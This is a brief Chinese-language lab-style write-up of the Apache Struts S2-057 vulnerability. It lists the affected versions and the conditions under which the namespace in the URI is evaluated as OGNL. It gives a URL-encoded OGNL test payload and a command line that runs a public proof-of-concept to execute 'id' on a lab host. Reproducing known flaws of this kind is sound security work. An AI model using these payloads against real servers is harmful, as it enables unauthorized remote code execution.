影响环境

Struts <= Struts 2.3.34, Struts 2.5.16

利用

S2-057要求具备以下条件: action元素没有设置名称空间属性,或者使用了通配符 名称空间将由用户从uri传递并解析为OGNL表达式,最终导致远程代码执行漏洞。 Payload:

http://your-ip:8080/%24%7b%31%2b%31%7d/actionChain1.action 

可以看到算出了1+1=2的结果 参考POC :https://github.com/Fnzer0/S2-057-poc python 1.py -u http://192.168.111.129:8080/{{INJECTION_POINT}}/actionChain1.action -p S2-057-2 -c id --exp

发现执行了id命令